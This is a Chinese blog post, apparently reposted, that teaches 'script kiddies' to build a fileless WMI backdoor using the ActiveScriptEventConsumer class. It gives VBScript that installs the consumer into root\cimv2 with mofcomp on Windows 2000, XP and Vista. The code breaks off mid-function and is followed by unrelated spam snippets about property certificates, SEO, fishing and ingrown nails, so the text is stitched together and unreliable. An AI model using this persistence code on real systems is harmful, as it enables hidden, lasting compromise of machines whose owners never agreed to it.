来源:菠萝的菠萝格
Welcome!各位ScriptKid,欢迎来到脚本世界。
今天忙了一天,比较累。不废话那么多了,切入正题。
这个“三无”后门的核心就是WMI中的永久事件消费者ActiveScriptEventConsumer(以下简称ASEC)。WMI中有许多这 类的事件消费者,简单的来说,当与其绑定的事件到达时,消费者就会被触发执行预先定义好的功能。例如可以用来执行二进制程序的 CommandLineEventConsumer等等
ASEC是WMI中的一个标准永久事件消费者。它的作用是当与其绑定的一个事件到达时,可以执行一段预先设定好的 *** /VBS脚本。
先来看一下其原型:
复制代码代码如下:
class ActiveScriptEventConsumer : __EventConsumer
{
uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消费者的CreatorSID 只读
uint32 KillTimeout = 0; //脚本允许被执行的时间 默认为0,脚本不会被终止
string MachineName;
uint32 MaximumQueueSize;
string Name; //自定义的事件消费者的名字。
string ScriptingEngine; //用于解释脚本的脚本引擎。VBScript或者 *** cript
string ScriptFileName; //如果你想从一个文件里面读取想执行的脚本的话,写上这里吧。
string ScriptText; //用于执行的脚本代码。与ScriptFileName不共戴天。有你没我,有我没你
};
ASEC的安装
对于XP以后的系统来说,ASEC已经默认安装到了root\subscription名称空间。我们可以直接调用。2000自带有ASEC的 mof文件,但是没有默认安装,需要我们自己安装。另外由于大部分的事件都是在root\cimv2里产生,所以如果你想直接捕获一些系统事件作为触发器 的话,还得在其他的名称空间中安装ASEC。来看一下在2000/XP/Vista下安装ASEC到root\cimv2的代码。
复制代码代码如下:
Function InstallASECForWin2K ’安装ASEC For Windows 2000’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘替换默认的名称空间
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWin2K Install OK!"
End Function
Function InstallASECForWinXP ’安装ASEC For Windows XP’
Dim ASECPathXP
XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE ’直接运行安装即可
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinXP Install OK!"
End Function
Function InstallASECForVista ’安装ASEC For Windows Vista’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set f = FSO.GetFile(ASECPath2K&"scrcons.mof")
Set MofFile = f.OpenAsTextStream(1,-2)
’Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //需要删除autorecover,否则安装出错
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
相信现在有很多的朋友们对于如何查房产证是真是假怎么查询房产证真假都想要了解吧,那么今天小编就来给大家针对如何查房产证是真是假怎么查询房产证真假进行一个介绍吧,希望小编介绍的内容能够为大家起到帮助哦 查...
序言:新的网址的SEO提高是较为艰苦的,为什么那麼说?因为新的网址沒有个人征信、没有名气、没有受众人群,并且网页搜索百度搜索百度搜索引擎针对新的网址又有一个评定期。新seo优化一不注意便会造成百度收录...
11月16日-19日,在有着“天然氧吧”之称的江西阳明湖,2020长城炮路亚国际锦标赛-路亚先锋职业巡回赛总决赛激情开赛。近百艘路亚赛艇、各分站赛冠军以及近200名路亚顶尖高手,在拥有超强越野实力的长...
孩子年纪太小不能使用拔甲,修脚也容易伤到脚趾,选择外用和内服药物,也有不错的治疗效果,避免细菌的再次感染,那么孩子甲沟炎用什么药好?甲沟炎怎么治疗?下面友谊长存带来介绍。 孩子甲沟炎用药推荐 甲沟...
需求是可以拉到市场的。那开办一家老年服饰店是个不错的选择,在创业盈利的同时解决老年人买衣难的问题,可以拥有不错的发展前景。 其次是可以考虑种植方面,因为地方大,而且这样也可以把资源更好的利用起来...
对付搜索引擎优化新手,你大概会寻找搜索引擎优化实战暗码电子书,搜索引擎优化深入阐明电子书,搜索引擎优化常见问题办理方案系列电子书等内容,但你有没有想过如何利用搜索引擎优化电子书?譬喻:发链。 子晨,...